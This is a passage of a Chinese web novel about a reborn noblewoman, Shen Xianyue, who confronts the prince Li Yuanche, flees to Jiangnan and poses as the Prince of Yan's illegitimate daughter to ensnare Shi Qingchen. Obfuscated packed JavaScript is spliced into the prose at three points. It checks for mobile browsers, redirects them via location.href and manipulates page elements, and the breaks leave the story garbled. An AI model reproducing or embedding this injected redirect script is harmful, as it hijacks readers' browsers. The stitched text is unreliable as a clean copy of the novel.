如果真的是他,他又怎么会这么不当心,丢在了她的嫁妆之中? 沈衔月这么想着,匆忙去抓火炉中摇摇欲坠的纸张,炽热的火舌已然卷去了一大半,她攥着剩下的一角,凝眸细看,终于确认这同她在大婚当日看到的那封书信出自两人之手。 哪封是真? 哪封是假? 沈衔月将信在手中攥碎。 既然上苍给了她重活一世的机会,有些事,她必须要弄个明白。 * 灵山。 传闻百余年前,曾有二仙信步到此,在落榻处留下了两块巨石,状如观世音菩萨净瓶中的杨枝,故又名“杨枝山”。 沈衔月从前不怎么信这些,就算烧香拜佛,也不过是跟着众人一起罢了,说她心有多诚也不见得,可有了两世机缘,她再一次焚香叩拜,竟比从前虔诚许多。 沈夫人自然不知道女儿的这番遭遇,她瞧着沈衔月虔心礼佛的样子啧啧称奇。 自从被沈扶澜遣送回芳菲苑之后,沈衔月就再也没有把这番话对别人讲,她知道,自己说了也是无用。 没有人会相信。 这种无力感,就像是一个正常人处在一堆疯子中间,到最后,所有人都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“贵人若是问姻缘,那真是要恭喜贵人了,签上写得分明,岂知一旦帝王宣,贵人未来的夫君莫不是天皇贵胄,若是更有福气的,怕是大徵的皇后娘娘也未可知。” 沈夫人又喜欢又叹息,“从前也不是没这个福气,只是如今害了这么个病,怕是难了。” 沈衔月心中微动,她打定主意,这一世再不踏足帝王之家,偏生抽了这么一支签,真是让人啼笑皆非。 沈衔月将灵签放回签筒,对那小沙弥合掌一礼,“有劳了。” 沈夫人还要再叹,却已被沈衔月扶住,“母亲,我们走吧。” “一早就听说了山中今日有贵人要来,落榻的地方早已收拾齐整了,两位贵人可以先去看看合不合心意,等下会有素斋,贵人们用了也好歇息。” 沈夫人道了谢,便挽着沈衔月的手出去了。 灵山人杰地灵,草木繁茂,收拾出来的下榻的地方极是清幽,群山环绕,冷泉泠泠,沈衔月心中喜欢,信步踏歌而行,她已经许久没有这么放松过了,不用想自己是谁,不用想自己下一步应该怎么办,在这样一个鸟语花香,禅语梵音的所在,她觉得自己的心安静了不少。 万籁俱静中,一个声音忽而不合时宜地响起,打破了这份难得的平静,仿佛叶子簌簌而落,枯黄,萧瑟,从地狱中来,将她一把拽回了可怖的梦靥。 “衔月,别来无恙。” 沈衔月的心猛地一颤。 这是……那个人的声音! 4. 他没死 四、他没死她要做下棋人 沈衔月转过身,瞧见了不远处,那个身穿紫云青蟒纹锦袍的男子。 男子眉眼幽邃,有着不合乎这个年纪的沧桑疲惫。 是他,李元彻。 即便知道这一世他们二人还没有什么恩怨,她还是不由自主地紧张起来,她努力让自己的语调听起来还算平稳,按照过去的记忆,这个时候,他们二人还从未见过面。 她不应该怕他。 于是,沈衔月装作不认识他的样子,试探道,“你是何人?也是来灵山求签的吗?” 李元彻抄着手,毫不避讳地上上下下打量着她,末了嗤笑一声,“衔月,此处只有你我二人,你何必还要装疯呢?” 沈衔月几乎要喘不上气来,他为什么会认识自己,他为什么会说出这番话来,一瞬间,她仿佛回到了死前的情形,她不明白,自己究竟是死了,还是活着。 “你不要慌,我同你一样,死在了永年十年,我醒来之后发现自己回到了三年前,那时我就想,你会不会也没有死,果然,不久之后我就听到了沈家大姑娘得了失心疯的流言。” 沈衔月不可置信地盯着他。 上苍这是和自己开了一个什么样的玩笑! 李元彻又是一笑,他上前一步,眼眸漆黑深邃,“怎么,我没死,你不高兴吗?” 沈衔月倒吸一口凉气,事到如今,她不得不信,“李元彻,如果你说的是真的,你也是从永年十年过来的,你不是应该已经夺得帝位了吗,你怎么会死?别告诉我,你是为我殉情。” “哈哈哈哈哈,为什么没有这个可能,还是说,衔月根本不相信本王爱你?” 沈衔月退后一步,“别过来!” “算了,和你说实话吧,本王不是没有想过要和你一块儿死。” “大可不必。” 李元彻无奈地撇了撇唇,继续说,“可还没等本王动手,本王就中毒身亡了,本王到死也不知道,这个天下到最后交到了谁的手上。” “你也死了?还是被人毒死的?” “嗯。” 沈衔月一下子想起了那封信,“上一世,你可曾在我的嫁妆中遗落什么书信?” 李元彻挑眉,“什么书信?” “有关你当日的谋反路线。” “呸,本王又不是傻子,这么重要的东西怎么可能混在你的嫁妆里,再说了,嫁妆不是你们沈府预备的吗,本王要出的是聘礼,这八竿子打不着的两个东西!” 沈衔月皱眉,这也是她的困惑之处。 “的确说不通。” 李元彻自嘲地笑了一笑,他走到一块断木跟前,随意坐下。 “真是可笑啊,本王忙乎了一辈子,到最后却是为他人做了嫁衣裳,连自己怎么死的都不知道,衔月,你说我们两个也算是患难与共了吧。” 他还没叹息完,就感觉自己的颈间一凉,竟是沈衔月的匕首抵在了上面。 他微微眯眼,仰头看她,“怎么,重活一世,衔月还想再杀我一次吗?” 沈衔月凝视着刃下的李元彻,不得不承认,平心而论的话,这个人生得还是挺好看的,毕竟他的母妃可是后宫盛宠,模样自然不差,他的身形随了他的父皇,颀长强健,他的容貌随了他的母妃,美得简直叫人挪不开眼。 沈衔月忽然觉得,自己上一世似乎也不怎么吃亏。 话虽如此说,仇不能不报! 她握紧匕首,眸中晦暗,冷冷开口。 “李元彻,我醒来的第一件事就是想去杀你,可是转念一想,你我这辈子并无恩怨,我杀你,也没有什么理由,可是如今不同,你自己撞上门来,你说,你该不该死。” “我知道你恨我,恨我在大婚那日那么羞辱你,可是衔月,这是有原因的,有人巴巴地过来告诉我,说你和时倾尘已然珠胎暗结,怀了孽种,我好歹也是帝王之子,你是我未过门的妻子,我怎能不气,若我果真冤枉了你,我请求你原谅我。” 沈衔月气结,“你这是什么意思,你是说,我和他早已……早已……” 她说不出口,更想不出谁会传出这种荒谬的流言! 李元彻见她这副样子,半喜半叹,喜的是,原来上一世,她真的没有背叛自己,叹的是,自己平白给了她那么大的羞辱,她怎么可能不恨自己。 “衔月,你若果真恨本王,就捅本王一刀吧,也算是报仇了。” “好啊。” 李元彻没想到她答应得这么痛快,下一瞬,他就感受到凛冽的刀锋刺入胸膛,汩汩鲜血漫流而出,他震惊地盯着沈衔月,简直要气死了。 “让你捅你还真捅啊,本王是皇子!你伤了本王,是株连九族的大罪!” 沈衔月扬眉瞧着他流血的伤口,满不在乎地笑了笑。 “宁王殿下让我捅,我自然不好不从,宁王殿下也知道自己是皇子,皇子口中说出来的话总还是有几分信用的吧,再说了,我沈衔月重活一世,什么气也不想忍,什么委屈也不想受,李元彻,我永不原谅你,若不是要留着你弄清楚从前的事情,我早杀了你了。” 李元彻痛得说不出话来。 都说这个女人疯了,他一直以为她是装疯,如今看来是真疯了! 沈衔月拔出匕首,甩了甩上面的血,“好了,我们姑且就算扯平了,如你所言,你也是受了别人的算计,才酿成了永年十年的那场祸事,那我们不妨查上一查,这个隐藏在背后的人究竟是谁,他让沈氏一族和你相继败落,又是为着什么。” 李元彻忍着痛,冷哼一声,“还能有谁,除了太子,本王再想不出第二个人。” 沈衔月不作声。 上一世,她在遇到时倾尘之前,一直对太子殿下颇有好感,即便她拒绝了皇帝给她和太子殿下的赐婚,太子对她也并无半分责怪,她私心里,是不愿意将太子看作坏人的。 沈衔月缓缓摇头,“在没有证据之前,我不想再胡乱疑心任何一个人,李元彻,帮我一个忙吧。” “什么忙?” “想个法子,把我送到江南。” 李元彻皱眉,“这算什么忙?” 沈衔月拨开郁郁垂柳,眺望着山脚下的一抹稀微春色,她的声音柔静恬淡,却又于柔静恬淡中生出春风中的些许冷冽沁香。 “有些事情,你陷在其中是看不清楚的,长安这么大,你看得清每家灯火中的明灭吗,身在局中,永远看不清全局,只有跳出了这个圈子,才有可能窥得一线生机,你既然怀疑太子在这其中做了手脚,那你便该知道,太子生母正是出自江南林氏,如今我已然疯了,宁王殿下布局多年,把一个疯子改头换面送出去,想来也不是多难的事情吧。” 李元彻隐约明白了沈衔月的想法。 于她而言,太 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说罢,她便要转身离去,李元彻叫住了她。 “衔月!” 沈衔月的轮廓清丽,她背光而立,字句冷淡。 “还有何事?” 李元彻捂着伤口,艰难地站起身来,“你说,你要去江南,你该知道,还有一个人也在江南,衔月,你是不是也怀疑那个人,那个上一世让你爱的死去活来的人?” 沈衔月心中一紧。 “衔月,我没有骗你,那枚玉佩真的能调骠骑营大军,如果时倾尘当真无辜,你以为他为什么会有那枚玉佩,你以为那枚玉佩为什么会在我的手上,你真的了解他吗!” 时倾尘。 这三个字犹如滚滚巨石,涛涛雪浪,在她的耳畔轰鸣。 那是上一世,她爱到死的男人,那是上一世,她最后以命相护的男人。 可直到今天她才发觉,她对他的爱几乎没有任何缘由。 她为什么会爱上他? 沈衔月双目微阖,落叶吻青丝,她在灵山空谷中忆起了那一日春雨朦朦,他如墨似画的眉眼,她曾经那样骄傲,曾经那样明媚,可遇到了他,她忽而卑微到了尘埃里。 她爱他,是因为他不爱她。 沈衔月享受着众人的追捧,太子殿下也好,三皇子也好,又或是长安城中的勋贵子弟们也好,在她的及笄礼上,所有人都刻意讨好她,只有他,对她始终淡淡的。 她至今还记得他那一日的模样。 他端坐水墨清雨中,遗世独立,翩然若举。 无论她做什么,他望过来的眼神都不带有一丝情意。 一滴清泪滑落颊侧,浸透唇齿。 苦而涩。 沈衔月咽下泪水。 上一世,她为了他的清名,始终默默守护着他,可他不屑一顾。 这一世,她要拉他入泥,她要好好看一看,那么干净那么洁白的衣袍之下是不是和别的男子一样! 她不信他会有什么不同! 身后,李元彻声音沙哑,近乎嘶吼。 “时倾尘,他一定同永年十年有着脱不开的干系!” 沈衔月抬袖抹去泪痕。 “别说了!” 她离去,再未回头。 5. 燕王府 五、燕王府表妹万安 三日后,长安城中传出了一个惊天的消息。 沈太傅的女儿竟然在灵山被人掳走,下落不明。 沈扶澜一面命人寻找,一面却暗自松了口气,他因为沈衔月疯掉的事情,在前朝丢了好些脸面,虽然父女情深,可终归比不过他的尊容重要,眼下,他倒是觉得心里安静了不少。 与此同时,沈衔月在李元彻为她准备的马车上隔窗瞭望空山新雨。 这是一条林间小径,隐蔽清幽,此刻天上飘着蒙蒙细雨,泥泞的路上留下了些许马蹄印,沈衔月看了一时,心中有了一番计较,须臾,她唤前面赶车的人。 “停下。” 赶车的人明显有些不情愿,但他还是勒住缰绳,“姑娘有什么事情吗?” 沈衔月撩开帘子,素锦纱幔之下,是一张倾国倾城的容颜,唇不点而红,眉不画而黑,纯净的眼眸中秋波婉转,似有万千烟雨,只消望上一眼,便能动人心肠。 赶车的人深吸一口气,虽然李元彻同他交代过,绝不准觊觎车上女子的容貌,但他还是忍不住多看了两眼,这样的绝代佳人,他不由自主就放松了戒心。 “姑娘有什么事情吗?” 他又问了一遍,不过这一次,语气明显柔和了不少。 沈衔月轻轻一笑,她知道自己生得美,她也并不介意,用自己的美锻出一把无形的利刃,一剑封喉,一招致命,她微微侧开脸,白皙修长的脖颈像是一朵凌雨芙蓉,含香绽放。 赶车的人挪不开眼珠,他看到沈衔月向自己走了过来,唇瓣一张一合,似乎说了些什么,可他什么都听不见,电光火石之间,他觉得心口传来一阵剧烈的疼痛,他不敢相信地低头,瞧见了自己心上插着的那把匕首。 “你……” 他的话没说完,瞪目而死。 沈衔月俐落地拔出匕首,她并不愿意滥杀无辜,可是这个车夫觊觎自己的美色,想来也不是什么良善之辈,死有余辜。 她将匕首拭净,贴身收好。 这把匕首,是同她一起从永宁十年过来的,在那个世界里,这是时倾尘送她的临别之物,她至今还记得时倾尘将这把匕首送给她的情景。 他说,“无论如何,烦请姑娘护好自己。” 彼时沈衔月不明白,时倾尘为什么会对自己说这样的话,她是太傅的掌上明珠,是长安内外最为光芒耀眼的所在,她何须自己护好自己。 可如今,她却不得不深思,时倾尘究竟和永年十年的事情有着怎样的关联。 沈衔月将车夫的尸体拖到丛林里,又拾了一些树叶枝杈藏好,她是想要从长安脱身,可她还不至于完全相信李元彻这个混账东西,果然,这条小道分明就不是通往江南,而是回到十六王居住的永福坊的,李元彻这是想将自己永远囚禁在宁王府! 她偏不遂他的意。 沈衔月从车夫腰间顺下一块宁王府的令牌,随即带好面纱,策马而去。 马蹄踏破暮色,“铮铮”响彻夜空,随风曳动的白觳于细密的雨丝中翩然起舞。 她像是脱了缰的野马,像是出了笼的鸟儿,肆意而又贪婪地呼吸着每一寸新鲜自由的空气。 从此这世上再无沈衔月,有的,只有衔月。她要知道时倾尘究竟是谁。她要知道永宁十年的那场祸乱究竟是谁的手笔。她要知道自己究竟应该向谁报仇雪恨。 而这一切,都只能去江南寻找答案。 江南—— * 月余后。 从长安去江南,快则十日,慢则半月,沈衔月一路躲藏,专挑小路走,最初有李元彻的令牌在手,她倒是没有遇到什么危险,但后来,她怕李元彻发现自己的行藏,也不敢再用了,这么一来,等她真正到达江南的时候已经是四月中旬的事情了。 守城的士兵似乎得到了什么消息,城门盘查甚是严密,沈衔月远远瞧着,还是决定另作打算,她牵着马往乡郊走,才走了几步,就遇到一个浑身是血的女子朝自己这边跑来。 那女子身后传来几声男人的呵斥,“别跑!” 沈衔月自身难保,原本不想多管闲事,可她瞧着那名女子被那些人摁在地上,还是不由得动了恻隐之心,她从前跟着风鹤学过几招,手上多少还是有几成胜算的,于是她大喝一声。 “你们欺负一个弱女子算什么英雄好汉!住手!” 几个大男人一愣,还以为是遇到了什么路见不平拔刀相助的侠客,循声望去,却只瞧见一个形单影只的女子,吃惊之余,忍不住笑了起来。 “你是何人?也敢来教训我们?” 沈衔月也不废话,她自知以一敌四并不容易,若要取胜,只能使巧。 “我若是没有这个本事,自然也不敢出言不逊,几位可知,我是谁的人?” 几人被她这么一唬,心里也没了章法,这女子虽然身量瘦弱,眉眼间却自带一股韧劲,有着绝不属于这个年纪的狠辣,他们相视一眼,“你是何人?” 沈衔月听这几人都是江南口音,料着不是长安追过来的人,于是,她掏出李元彻的令牌,“睁开你们的狗眼,自己好好看看,本姑娘是宁王府的人!” 这块令牌通体鎏金,中间端端正正刻着宁王府的纹样,果然把这几个人给唬住了,宁王府,那是三皇子手下的人,他们自然不敢招惹,几个人连声告罪,随即快步跑掉了。 沈衔月松了一口气,伸手去扶那名女子,那名女子穿着素净,但是自有一种恬淡气质,俨然是官家女儿,她气息奄奄,咳了口血,“多谢姑娘出手相救,不过,我只怕是活不成了。” 沈衔月心下钝痛,上一世,她已经亲眼看见太多人死在自己眼前,她握住那名女子的手,“姑娘,你坚持住,我这就去找郎中!” 女子用最后一丝力气拉住了她,“不,我有事要托付给姑娘。” 沈衔月只得站住。 女子褪下腕上的一枚玉镯,“姑娘,你带着这个信物,去燕王府,告诉我的父亲,就说,我已经死了,我的母亲也已经死了,不用再惦记着杀我了。” 沈衔月一愣,“你的父亲是?” 女子拼命喘气,吐出了最后两个字,“燕,王。” * 燕王府。 燕王时玄钧焦灼地踱着步子,念叨着,“怎么还没到?” 燕王妃慕容嫣摇着合欢扇,不耐烦地说道,“王爷能不能安生些呀,这来来回回都走了多少圈了,你不迷糊,妾身看着也迷糊。” “能不急吗,前前后后问了多少遍,容儿还是没有到,派去接应的人也没有半点消息!” “我劝王爷还是别急的好,不然落在外人眼里,不知道的,还以为这丫头是王爷的亲生女儿呢,哪有盼着自己的侄女盼成这样的。” 时玄钧被燕王妃抢白了一通,脸色很是难看,“阿嫣你又不是不知道,容儿对外虽说是我的侄女,可她分明就是我的亲生女儿,我怎么能不着急!” 慕容嫣登时变了脸色,她“啪”的把扇子一摔,啐道,“算了吧,王爷还是给自己留点体面,一个青楼女子养出来的野种也配进燕王府的大门吗,你爱女心切那是你的事情,但是你可不要忘了,当初你求娶我慕容嫣的时候,可是说好了此生绝不纳妾!” 时玄钧心中有愧,“阿嫣……” “别这么叫我,时玄钧,你让我觉得恶心!” 慕容嫣是太后养女,从小在长安城里长大的,仗着太后疼惜,从来不把任何人放在眼里,即便是威慑一方的燕王,也不敢忤逆她的意思。 谁不知道,太后将慕容嫣嫁给燕王时玄钧,说好听点是两姓之好,姻亲之谊,说不好听,慕容嫣就是太后放在燕王府的眼睛鼻子,时刻帮朝廷盯着燕王的一举一动。 时玄钧忿忿咬牙,到底没敢说什么重话,他拂袖而起,才要离开,却见侍从慌慌张张地跑了过来,“王爷,来了!来了!” 时玄钧一喜,“容儿来了?!” 侍从点头,“年纪身量和信中说的差不多,她手上还带着信物,应该就是容姑娘吧。” “快请!” 慕容嫣皱皱眉,却也没多说什么。 少顷,侍从引着沈衔月进来,时玄钧按捺不住心中的愧意,他驰骋沙场半生,唯一对不住的就是这个自小养在外头的女儿,此刻父女相见,免不了老泪纵横,他上前一步,一把扶住了要依礼拜见的沈衔月,“容儿,不必多礼。” 沈衔月愣了一下。 这误会可闹大了。 她只是来帮忙送个东西,不承望多了一个爹。 沈衔月连忙解释,“不,王爷,您误会了,我不是……” 她话还没说完,忽然听见一个人的声音从门外传来,“父亲,母亲。” 沈衔月定在当地,再不能言语。 她觉得自己的心仿佛漏了一拍。 无需回头,她便知道那人是谁。 时倾尘,你果然不是什么茶商之子! 沈衔月怔怔侧身,她看见自己爱了一世的男子从光影中走来,松风水月,若披云雾。 永宁七年,他才十八岁,鲜衣怒马少年郎,那是一个人一生中最好的年华。 他的眼眸是那样的漆黑、深邃,仿佛凝聚了世间所有灵气,却又那样澄澈、空宁,仿佛什么都入不了他的眼、他的心。 他的鼻梁高挺俊秀,容色有着玉石一般的质感,他肆意不羁的墨发纵逸风中,眼角眉梢都没有半分世俗的痕迹,他宛如人间的谪仙,天上的神祗。 不容玷污。 不容亵渎。 沈衔月望着十八岁的时倾尘,忽而有想流泪的冲动。 上一世,她深爱着这样的他。 她为了他,拒绝了与太子的婚事,可他不屑一顾。 她不信他不爱她,她不信他对自己半分感情都没有,所以她赌气答允了李元彻的求婚,可他淡漠如初,只是同她说了一句,“好生珍重。” 人在年少时不该遇到太惊艳的人,他完完整整地占据了她的心,她临死前心心念念的人还是他,重活一次,沈衔月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418720|168927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才明白,她对他的感情与其说是爱,不如说是一种执念。 这一世,她不想再爱他了。 她想要毁掉他。 她真的很想撕掉他的白衣,瞧一瞧白衣之下,他是不是也是肉身凡胎。她不信,他和这世间的男儿有何不同。 时倾尘掀袍而入,他也第一眼就瞧见了她,他望着她眸中复杂的情意,微有困惑。 她为什么这么看着自己? 他们很熟吗? 时倾尘不解地看向时玄钧和慕容嫣。 慕容嫣毫不客气地嘲讽起来。 “尘儿,你来得正好,你还不知道吧,今日府中来了一位贵客。” 时玄钧老脸发红,“咳咳。” 私生女自然不是一件体面事,被妻子当着儿子的面儿戳出来就更不体面了。 时倾尘淡淡一笑,“父亲,这位是?” 这是沈衔月再熟悉不过的笑,温润如玉,却又拒人千里。 一刹那,她改主意了,她要留在燕王府,留在他的身边。 他不是自诩清高吗?他不是对这世间的男女之情没有半分心思吗? 这一世,她要将不染纤尘的他拽入滚滚红尘。 她要让他爱上自己的“亲妹妹”。 她要看着他如痴如魔,不能自持,体会什么叫爱而不得的心痛。 沈衔月装作羞赧的模样,施施一礼,“容儿见过表兄。” 时倾尘随即反应过来,这就是父亲口中的那位表妹,于是,他微一颔首。 “表妹万安。” 慕容嫣冷冷打量了沈衔月一番,“你说你是梨容。” 沈衔月诺诺应了声,“是。” “那么,护送你的人呢,怎么就剩你一个了?” 沈衔月瞧着慕容嫣咄咄逼人的样子,心中隐隐有了算计,只怕,要杀梨容的不是燕王,而是这位燕王妃,于是,她挤出几滴眼泪,眼神无辜而又天真。 “他们都死了。” 时玄钧大惊,“都死了?” 沈衔月拭泪,“我们在路上遇到了刺客,我也差点死了。” 时玄钧心中疼痛,“好孩子,别说了,到了燕王府,我不会再让你受苦了。” 慕容嫣扫了一眼时玄钧和沈衔月父女情深的场面,翻了个白眼。 时倾尘轻咳一声,“父亲母亲叫我来有什么事情吗?” 时玄钧这才想起来他要嘱咐时倾尘的话,于是,他说,“尘儿啊,前几日父亲母亲不是让你借着太傅之女的及笄礼的机会,往长安去一趟吗?” 沈衔月听见自己的名字,心中微动,敛眉不语。 “是啊,我已经准备好了,此次长安之行,我还是用表叔家茶商的名号,说是表叔家的二公子,反正长安中认识我的人也寥寥无几,料着不会有人起疑。” 时玄钧摆摆手,“不必了,太傅之女疯掉了,这个及笄礼也办不成了。” “疯掉了?那,长安可还要去吗?” “眼下长安局势不明,你先不必去了。” 时倾尘点头,才要行礼告退,时玄钧又叫住了他。 “尘儿啊。” “父亲还有何吩咐。” “你表妹才来府中,许多地方还不熟悉,你带着她四处转转,你们是血浓于水的兄妹,你该尽尽做兄长的东道之谊。” 时玄钧刻意加重了“血浓于水”这几个字的语气,其实无需他多说,只瞧慕容嫣的样子,时倾尘便隐约猜出来了一个大概。 在外人眼中,燕王时玄钧和燕王妃慕容嫣相敬如宾,是为一段佳话,只有时倾尘知道,这个门当户对的体面姻缘之后,是怎样的绸缪与算计,正因如此,他才会在血气方刚的年纪不近女色,他讨厌将男女之事看作利益来往的筹码。 正如他还没见面,就已经开始讨厌那个太傅的女儿。 父亲母亲让自己去参加她的及笄礼,其中之意,无需言表,好在她疯了,他倒也少了一桩麻烦事。 慕容嫣不耐烦地摔门而出。 时倾尘不愿意搅到这趟浑水中,他知道,父亲所谓的“表妹”,怕就是不能认养的亲妹,他才要推脱,却无意间瞧见了沈衔月面纱之上的那双眼睛。 他微微一怔。 不知为何,他仿佛在什么地方见过这样一双眼睛。 她的眼尾处挑着一点湿润的胭脂红,仿佛彼岸之花,葳蕤盛放。 他觉得头有些疼,像是记忆被尘封在了过去的时空里。 他拼命回忆,却依旧想不起来。 他们分明是第一次见啊。 在哪里呢? 许是在梦中吧。 沈衔月乖巧地唤了一声,“表兄。” 时倾尘接下了这桩差事,他微一抬臂,“表妹请。” 沈衔月规矩行礼,她面纱之下的樱唇不自觉微抿。 时倾尘,这一世,我要让你也体会体会什么叫爱而不得。 若你是仙,我要拉你下神坛。 若你是佛,我要堕你入疯魔。 6. 美人娇 六、美人娇第一次这样抱着一个女孩子 江南湿润,暖风沉醉。 沈衔月生在长安,眼下乍一来了江南,倒也觉得新鲜,她瞧着精巧清丽的烟雨景致,一时贪看住了,不同于她在太傅府中见惯了的,燕王府中的奇花异草入眼,自是别有一番风味。 此刻虽是春日,但由于气候宜人,放眼园中,晚春初夏的花朵也开了不少,什么绣球呀,玉兰呀,还有红滟滟的凌霄花,一片片的珊瑚树。 沈衔月和时倾尘漫步其间,各揣心腹事。 时倾尘想的是尽快带着表妹走一圈,就把她送回去,眼下长安局势不明,太傅的女儿又莫名其妙地害了一场疯病,长安之行就此搁置,他可没有心思陪着表妹在这里东游西逛。 沈衔月当然不这么想。 她仰起脸,指着荷花池对岸一大片灿若云霞的花朵,笑问,“表兄,这是什么花呀?” 时倾尘耐着性子解释,“此花唤作美人蕉。” 她似乎没有听清,又朝他凑近了些。 春风旖旎,金光流艳,她踮起脚尖,发梢处沾染着淡淡的一层幽香,“表兄说什么?” 时倾尘不自觉垂眸,瞧着他的表妹,他的声音中多了些说不清道不明的意味,“美人蕉。” 他们离得太近了。 时倾尘有些不自在地退后半步,可她细若葇荑的指尖一寸寸缠住了他的衣袖,她的青丝被风吹起,几绺晕染了眉梢,几绺勾在了心上,她的声音娇娇软软,“美人什么……” 美人……娇…… 时倾尘被这个念头吓了一跳。 表妹还小,自然不懂男女之大防,可他怎么能由着她胡闹,他们二人虽然是兄妹,却早已过了无需避讳的年纪,这样的事若是传了出去,表妹的名声还要不要。 不行,不能这样。 他慌忙退后一大步。 沈衔月脚下是湿滑的青苔石子路,她佯作没有站稳,就这么当着时倾尘的面跌了一跤,时倾尘顾不得多想,连忙伸手扶她,这么一扶,人就倒在了他的怀里。 她拽着他的衣角,眸中蓄泪,模样极可怜,“表兄,我扭到脚腕了,好疼。” 时倾尘皱了皱眉。 他素来不近女色,还是第一次这样抱着一个女孩子。 她的身体柔软,像是浸了香的云朵,几乎要害他气息不稳,时倾尘觉得不妥,想要放手,可瞧表妹这个样子,又不像是能自己站起来走路的,他只得抱起她,“我送你回去。” 沈衔月轻轻“嗯”了一声,她把头靠在他的肩上,这是上一世她绝不敢想的事情,她的目光渐次变得迷离,时倾尘,你知道我爱你爱了多久吗,这一世,我们两个应该换一换了。 时倾尘走得很快,没一会儿就把她抱到了梨花苑的门口,这是时玄钧特意为梨容准备的院落,沈衔月余光瞥见他沾染了些许碎泥的衣袍一角,那是他扶她时不小心蹭到的。 “表兄,你的衣裳脏了,换下来,让侍女帮你洗一洗吧。” 时倾尘扫了一眼袍角,淡淡道,“不妨事,你的脚可好些了,用不用去找个郎中瞧瞧。” 沈衔月挽起罗裙给他看,织锦缎绘芙蓉的花纹下,露出一只白皙纤弱的玉腕,上面隐隐晕染着些许红痕。 时倾尘轻咳两声,别开脸去,“表妹,你也不小了,你该知道……” 沈衔月仰起脸,她的眼神是那样的无辜,那样的委屈,那样的不谙世事,她仿佛没有听懂他的话,就这么毫不避讳地拽着自己的罗裙一角,睁着一双水汪汪的大眼睛望着他。 “容儿不知道表兄在说什么。” 时倾尘神情复杂,他不知道该怎么和表妹说这样的话,这不都应该是她的母亲在家教导的吗,哪里能轮到他这个当表兄的来教,他叹口气,转念又一想,表妹身世可怜,只怕她的母亲并不曾在这些事情上留心,这么说,表妹不懂这些倒也情有可原。 思及此处,他倒不忍苛责了。 时倾尘俯下身子,他修长的手指一点点拨开她勾着自己衣角的指尖,“表妹,我的意思是,你要学会保护自己,在家中自然无碍,可是到了外面,难免有许多浪荡子弟,你不该和陌生男子靠得这样近,你明白吗?” “我明白了,多谢表兄教诲。” 沈衔月松开了他的衣角,时倾尘才要松口气,却在下一刻发现,她的手完完全全地覆上了自己的手。 “表妹,你——” 沈衔月眨着无辜而又单纯的眼睛,“表兄不是说,在家中无碍吗,再说啦,表兄这么好,自然不会是什么浪荡子弟,我最喜欢表兄啦!” 时倾尘快被她气得吐血了。 这是什么逻辑! 喜欢这种词也是可以乱说的吗! 可他瞧着她的稚态,又不好说什么,他总不能说自己和自己口中的浪荡子弟一样,都是她要防备的对象吧,时倾尘自问,他还不至于这般没有定力,更可况她这么不谙世事,万一她会错了意,回头再和父亲说了什么不该说的,那他岂不是跳进黄河都洗不清了。 罢了。 罢了。 有妹如此,只能认栽。 “表妹,你先松开手,有话好好说。” 这话一说出来,时倾尘感觉更不对劲了,怎么好像自己被轻薄了似的…… 时倾尘轻咳一声,把脸一沉,“容儿,放手。” “表兄答应我一件事,我就放手。” “你说。” “我听说江南最好吃的酒楼叫杏花村,表兄带我去一趟,可好?” “不好,你一个女孩子,去酒楼做什么。” 沈衔月扯着他的袖子撒娇,“表兄带我去嘛,我保证,就一次!” 时倾尘被她折磨的没有法子,只得硬着头皮应下,“那你也要答应我,在我来找你之前,安安生生待在梨花苑,不要闯出什么祸事来,更不要顶撞父亲母亲。” 沈衔月笑容甜美,乖巧点头,“表兄放心,我都记下了。” 梨花苑中的侍女莺儿听见动静,慌忙迎了出来,“世子殿下。” 时倾尘微一颔首,“莺儿,这位是表姑娘,以后就在这里住了,好生伺候,不得怠慢。” 说完,他转身就走。 沈衔月冲着他喊,“表兄这就走啦,不留下吃杯茶嘛?” 时倾尘摆了摆手,走得更快了。 莺儿一头雾水地扶着沈衔月进去,“表姑娘,世子殿下这是怎么了,怎么慌慌张张的,平日里也没见他这个样子。” 沈衔月信口胡诹,“许是父亲有事找他吧,对了,莺儿,你可知,表兄有无婚配?” “表姑娘问这个做什么?” “随口一问罢了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418721|168927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“婚配倒是没有,不过我听说,世子殿下心里有一个喜欢的人,立誓非她不娶。” 沈衔月脚下一顿。 他有喜欢的人了? 难道他就是因为这个,前世才会对自己不理不睬? 莺儿瞧着沈衔月怔愣的神情,“怎么了表姑娘?” “没,没什么,莺儿,你知道表兄喜欢的人叫什么名字吗?” 莺儿“嗤”的一声笑了出来,“哪里有名字呀,不过就是世子殿下的一个梦罢了。” “梦?什么梦?” “我也不清楚,只是听说世子殿下曾经做过一个梦,他在梦里遇见了一个女孩子,世子殿下醒来之后泪流满面,立誓非她不娶,不然殿下那样的好容色,也不至于至今还未婚配了。” 沈衔月若有所思,敛眉不语。 时倾尘,你心里的那个女孩子会是谁呢? 莺儿拨开檐角垂落的紫藤花蔓,扶着沈衔月进屋,“这是王爷特意为表姑娘预备的屋子,表姑娘瞧瞧喜不喜欢。” 